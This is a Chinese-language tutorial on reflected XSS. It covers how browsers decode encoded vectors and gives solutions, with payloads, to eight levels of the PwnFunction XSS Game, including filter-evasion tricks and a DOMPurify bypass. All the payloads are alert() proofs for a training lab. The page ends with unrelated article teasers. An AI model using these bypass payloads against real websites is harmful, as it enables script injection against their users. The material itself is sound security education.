XSS反射实战
目录
1.XSS向量编码
2.xss靶场训练(easy)
2.1第一关
2.2第二关
方法一
方法二
2.3第三关
2.4第四关
2.5第五关
2.6第六关
2.7第七关
第一种方法:
第二种方法:
第三个方法:
2.8第八关
1.XSS向量编码
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="author" content="system"><meta name="keywords" content="whoami"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title><script>alert(1)</script></title></head><body><a href="javascript:alert(1)">aa</a><a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a> -----不能解码---因为这一长串是urlcode编码,在href是识别不了的<a href="javascript:%61%6c%65%72%74%28%32%29">aaaa</a>-----可以解码,这一长串先会HTML实体编码成javascript:alert(1),让href认识,然后在urlcode编码<!-- html编码不认识%3a --><a href="javascript%3aalert(3)">bbbbb</a> <!-- 相当于<img src="1"onerror="alert(4)"> <=< --><div><img src=x onerror=alert(4)></div><!-- HTML会把它当作普通字符串,可以显示,但是无法执行 --><textarea><script>alert(5)</script></textarea><textarea><script>alert(6)</script></textarea><!-- 执行 ,实体编码,认单引号--><button onclick="confirm('7');">Button</button><!-- Unicode编码,没有执行,不能编译符号,如等号,单引号,双引号 --><button onclick="confirm('8\u0027);">Button</button><!-- HTML字符实体编码 alert(9); 没有执行,不认识&--><script>alert(9);</script><!-- Unicode 编码 alert,执行 --><script>\u0061\u006c\u0065\u0072\u0074(10);</script><!-- Unicode 编码 alert(11) 执行不了--><script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script><!-- Unicode 编码 alert 和 12,不能执行 --><script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script><!-- 不能执行 --><script>alert('13\u0027)</script>//不能执行<script>alert('14\u000a')</script>// html实体编码,urlcode编码,Unicode编码<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)">ddd</a>
</body>
</html>

1.数据状态中的字符引用
当我们进入数据状态中的字符引用时,确实可以将编码字符进行解码,但是不会进入标签开始的状态在问题4中,“<”和“>”字符被编码为“<”和“>”。当解析器解析完“<div>”并处于“数据状态”时,这两个字符将会被解析。当解析器遇到“&”字符,它会知道这是“数据状态的字符引用”,因此会消耗一个字符引用(例如“<”)并释放出对应字符的token。在这个例子中,对应字符指的是“<”和“>”。读者可能会想:这是不是意味着“<”和“>”的token将会被理解为标签的开始和结束,然后其中的脚本会被执行?答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此,就不会建立新标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”
2.RCDATA状态中的字符引用
1. 空元素(Void elements),如<area>,<br>,<base>等等
2. 原始文本元素(Raw text elements),有<script>和<style>
3. RCDATA元素(RCDATA elements),有<textarea>和<title>
4.外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素 ,avg跟图像有关
5.基本元素(Normal elements),即除了以上4种元素以外的元素
五类元素的区别如下:
空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。
原始文本元素,可以容纳文本。
RCDATA元素,可以容纳文本和字符引用。
外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释
基本元素,可以容纳文本、字符引用、其他元素和注释
3.属性值状态字符引用
2.xss靶场训练(easy)
进入网站:
XSS Game - Learning XSS Made Simple! | Created by PwnFunction

2.1第一关

要求:是显示alert(1337),不能使用用户交互,如a标签,带有点击事件的标签
源码分析
somebody=John,那么这段代码将导致<h2 id="spaghet"></h2>元素的内容更新为John Toucha Ma Spaghet!。
如果URL是http://example.com/(没有somebody查询参数),那么内容将更新为Somebody Toucha Ma Spaghet!。

根据官方文档解释,<script>这个标签并不安全,并不会执行,所以这里使用更为安全的img标签
主要使用的是img触发标签

somebody=<img%20src=1%20οnerrοr="alert(1337)">
图片加载错误时会触发onerror的值,然后把1337显示出来
< 在hmtl中会当作字符串展示在页面上,不会当作标签转义
2.2第二关

源码分析:
从URL的查询参数中获取jeff的值(如果存在),否则使用默认值"JEFFF",然后将这个值嵌入到一个字符串中,并最终将这个字符串。显示在网页上的一个<h2>元素中
innerText元素本身不能渲染,相当于什么标签都不能被执行
方法一
我们可以把关注点放在这句话:
eval(`ma = "Ma name ${jeff}"`)
让eval执行,可以看到就成功了

这里其实就是用的闭合,
相当于执行: eval(`ma="Ma name aaa";alert(1337);""`)
先执行"Ma name aa"的赋值,其次执行:alert(1337);,最后闭合,防止报错
方法二
把输入的全部执行


nan在js中表示非数字类型,
NaN 非数字(not a number)属性是代表非数字值的特殊值。
2.3第三关

过滤了<>

?wey=aaaa"%20οnfοcus=alert(1337)%20autofocus="
如果没有autofocus是需要用户输入,这样属于跟用户交互了,没有满足要求,而添加autofocus是可以让其自动聚焦
2.4第四关

源代码分析:
2秒后会自动提交
在form表单里面的action会出现JavaScript伪协议事件

?ricardo=javascript:alert(1337)
2.5第五关

过滤了括号,反斜杠,转义字符
这里使用了innerHTML,可以还是使用<img src= onerr=">
但是这个题它过滤了括号
这里可以使用url编码去解码成括号

如果直接%28,html无法识别,%2528---转成%28----转成(

?markassbrownlee=<img%20src=1%20οnerrοr=location="javascript:alert%25281337%2529">
2.6第六关

过滤字母数字-------考虑使用编码
js编码

这样就可以绕过使用数字字母,但是这样页面是识别不了了的,还需要url编码,才能被页面解析

然后将编码放在balls

2.7第七关

过滤了转义字符,单引号,双引号,加号,短横杠,感叹号…
同时过滤长度
第一种方法:
js有三种定义函数的方式:
1.function 语句形式
function test1() {
alert("我是test1");
}
2.函数直接量形式
var test2 = function() {
alert("我是test2");
}
3.通过Function构造函数形式定义函数
var test3 = new Function("a", "b", "return a+b;");
第一个字母是大写表示是一个类
这里,可以使用Function()()函数,同时由于还过滤了alert,根据js严格区分大小写的特点,我们可以在路径上输入大写的alert,但是为了能识别出alert,还需要转成小写

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
第二种方法:
使用parselent函数,tostring函数可以二进制转换

注意:这里为什么数字是30,而不是28,29等其他数字,主要是在二进制里,30才能包含字母t

?mafia=eval(8680439..toString(30))(1337)
parseIn将alert转换成二进制8680439,然后 eval对8680439..toString(30)转换为alert
第三个方法:
使用location.hash.slice函数
location.hash获取的是#后面的内容
Slice()截取函数,slice(1),截取从1开始往后的内容,这样就可以不会把#打印出来


?mafia=eval(location.hash.slice(1))#alert(1337)
2.8第八关

想绕过DOMPurify.sanitize函数是不可能的!!!!
观察setTimeout(ok, 2000),每2秒输出ok,但是ok并没有被定义
所以可以创建ok

.map一个一个取

?boomer=<a%20id=ok%20href="tel:alert(1337)">
a标签的href自动替换成字符串,相当于把tel:alert(1337)当作字符串处理,id=ok,可以获取到href标签, 为什么这里不使用JavaScript,是因为在DOMPurify函数里,把JavaScript拉进了黑名单里,因此我们可以所以它里面的白名单函数如tel 替代JavaScript去执行
相关文章:
XSS反射实战
目录 1.XSS向量编码 2.xss靶场训练(easy) 2.1第一关 2.2第二关 方法一 方法二 2.3第三关 2.4第四关 2.5第五关 2.6第六关 2.7第七关 第一种方法: 第二种方法: 第三个方法: 2.8第八关 1.XSS向量编码 &…...
远程消息传递的艺术:NSDistantObject在Objective-C中的妙用
标题:远程消息传递的艺术:NSDistantObject在Objective-C中的妙用 引言 在Objective-C的丰富生态中,NSDistantObject扮演着至关重要的角色,特别是在处理分布式系统中的远程消息传递。它允许对象之间跨越不同地址空间进行通信&…...
指向派生类的基类指针、强转为 void* 再转为基类指针、此时调用虚函数会发生什么?
指向派生类的基类指针、强转为 void* 再转为基类指针、此时调用虚函数会发生什么? 1、无论指针类型怎么转,类对象内存没有发生任何变化,还是vfptr指向虚函数表,下面是成员变量,这在编译阶段就已经确定好了;…...
操作系统(Linux实战)-进程创建、同步与锁、通信、调度算法-学习笔记
1. 进程的基础概念 1.1 进程是什么? 定义: 进程是操作系统管理的一个程序实例。它包含程序代码及其当前活动的状态。每个进程有自己的内存地址空间,拥有独立的栈、堆、全局变量等。操作系统通过进程来分配资源(如 CPU 时间、内…...
react的setState中为什么不能用++?
背景: 在使用react的过程中产生了一些困惑,handleClick函数的功能是记录点击次数,handleClick函数被绑定到按钮中,每点击一次将通过this.state.counter将累计的点击次数显示在页面上 困惑: 为什么不能直接写prevStat…...
2.2算法的时间复杂度与空间复杂度——经典OJ
本博客的OJ标题均已插入超链接,点击可直接跳转~ 一、消失的数字 1、题目描述 数组nums包含从0到n的所有整数,但其中缺了一个。请编写代码找出那个缺失的整数。你有办法在O(n)时间内完成吗? 2、题目分析 (1)numsS…...
【CentOS 】DHCP 更改为静态 IP 地址并且遇到无法联网
文章目录 引言解决方式标题1. **编辑网络配置文件**:标题2. **确保配置文件包含以下内容**:特别注意 标题3. **重启网络服务**:标题4. **检查配置是否生效**:标题5. **测试网络连接**:标题6. **检查路由表**࿱…...
Linux 操作系统 --- 信号
序言 在本篇内容中,将为大家介绍在操作系统中的一个重要的机制 — 信号。大家可能感到疑惑,好像我在使用 Linux 的过程中并没有接触过信号,这是啥呀?其实我们经常遇到过,当我们运行的进程当进程尝试访问非法内存地址时…...
黑马前端——days09_css
案例 1 页面框架文件 <!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><meta http-equiv"X-UA-Compati…...
【Python爬虫】技术深度探索与实践
目录 引言 第一部分:Python爬虫基础 1.1 网络基础 1.2 Python爬虫基本流程 第二部分:进阶技术 2.1 动态网页抓取 2.2 异步编程与并发 2.3 反爬虫机制与应对 第三部分:实践案例 第四部分:法律与道德考量 第五部分&#x…...
智启万象|挖掘广告变现潜力,保障支付安全便捷
谷歌致力于为开发者提供 先进的广告变现与支付解决方案 一起回顾 2024 Google 开发者大会 了解如何利用谷歌最新工具和功能 提高变现收入,优化用户体验,保障交易安全 让变现更上一层楼 广告检查器是谷歌 AdMob 平台最新推出的高级测试工具,开…...
函数递归,匿名、内置行数,模块和包,开发规范
一、递归与二分法 一)递归 1、递归调用的定义 递归调用:在调用一个函数的过程中,直接或间接地调用了函数本身 2、递归分为两类:直接与间接 #直接 def func():print(from func)func()func() # 间接 def foo():print(from foo)bar…...
Springboot3 整合swagger
一、pom.xml <dependency><groupId>org.springdoc</groupId><artifactId>springdoc-openapi-starter-webmvc-api</artifactId><version>2.1.0</version></dependency> 二、application.yml # SpringDoc配置 # springdoc:swa…...
查看同一网段内所有设备的ip
使用命令提示符(CMD)进行扫描 查看本机IP地址 首先通过 ipconfig /all 命令查看本机的IP地址,确定你的网段,例如 192.168.1.。 Ping网段内每个IP地址 接着使用循环命令: for /L %i IN (1,1,254) DO ping -w 1 -n …...
Spark MLlib 特征工程(上)
文章目录 Spark MLlib 特征工程(上)特征工程预处理 Encoding:StringIndexer特征构建:VectorAssembler特征选择:ChiSqSelector归一化:MinMaxScaler模型训练总结Spark MLlib 特征工程(上) 前面我们一起构建了一个简单的线性回归模型,来预测美国爱荷华州的房价。从模型效果来…...
《SPSS零基础入门教程》学习笔记——03.变量的统计描述
文章目录 3.1 连续变量(1)集中趋势(2)离散趋势(3)分布特征 3.2 分类变量(1)单个分类变量(2)多个分类变量 3.1 连续变量 (1)集中趋势 …...
2024年杭州市网络与信息安全管理员(网络安全管理员)职业技能竞赛的通知
2024年杭州市网络与信息安全管理员(网络安全管理员)职业技能竞赛的通知 一、组织机构 本次竞赛由杭州市总工会牵头,杭州市人力资源和社会保障局联合主办,杭州市萧山区总工会承办,浙江省北大信息技术高等研究院协办。…...
SpringBoot参数校验详解
前言 在web开发时,对于请求参数,一般上都需要进行参数合法性校验的,原先的写法时一个个字段一个个去判断,这种方式太不通用了,Hibernate Validator 是 Bean Validation 规范的参考实现,用于在 Java 应用中…...
安全基础学习-SHA-1(Secure Hash Algorithm 1)算法
SHA-1(Secure Hash Algorithm 1)是一种密码学哈希函数,用于将任意长度的输入数据(消息)转换成一个固定长度的输出(哈希值或摘要),长度为160位(20字节)。SHA-1的主要用途包括数据完整性验证、数字签名、密码存储等。 1、SHA-1 的特性 定长输出:无论输入数据长度是多…...
leetcode350. 两个数组的交集 II,哈希表
leetcode350. 两个数组的交集 II 给你两个整数数组 nums1 和 nums2 ,请你以数组形式返回两数组的交集。返回结果中每个元素出现的次数,应与元素在两个数组中都出现的次数一致(如果出现次数不一致,则考虑取较小值)。可…...
Flask RESTful 示例
目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题: 下面创建一个简单的Flask RESTful API示例。首先,我们需要创建环境,安装必要的依赖,然后…...
椭圆曲线密码学(ECC)
一、ECC算法概述 椭圆曲线密码学(Elliptic Curve Cryptography)是基于椭圆曲线数学理论的公钥密码系统,由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA,ECC在相同安全强度下密钥更短(256位ECC ≈ 3072位RSA…...
遍历 Map 类型集合的方法汇总
1 方法一 先用方法 keySet() 获取集合中的所有键。再通过 gey(key) 方法用对应键获取值 import java.util.HashMap; import java.util.Set;public class Test {public static void main(String[] args) {HashMap hashMap new HashMap();hashMap.put("语文",99);has…...
Cesium1.95中高性能加载1500个点
一、基本方式: 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序
一、开发准备 环境搭建: 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 项目创建: File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...
在四层代理中还原真实客户端ngx_stream_realip_module
一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡(如 HAProxy、AWS NLB、阿里 SLB)发起上游连接时,将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后,ngx_stream_realip_module 从中提取原始信息…...
苍穹外卖--缓存菜品
1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得,如果用户端访问量比较大,数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据,减少数据库查询操作。 缓存逻辑分析: ①每个分类下的菜品保持一份缓存数据…...
视频字幕质量评估的大规模细粒度基准
大家读完觉得有帮助记得关注和点赞!!! 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用,因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型(VLMs)在字幕生成方面…...
什么是EULA和DPA
文章目录 EULA(End User License Agreement)DPA(Data Protection Agreement)一、定义与背景二、核心内容三、法律效力与责任四、实际应用与意义 EULA(End User License Agreement) 定义: EULA即…...
BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践
6月5日,2025全球数字经济大会数字安全主论坛暨北京网络安全大会在国家会议中心隆重开幕。百度副总裁陈洋受邀出席,并作《智能体在安全领域的应用实践》主题演讲,分享了在智能体在安全领域的突破性实践。他指出,百度通过将安全能力…...
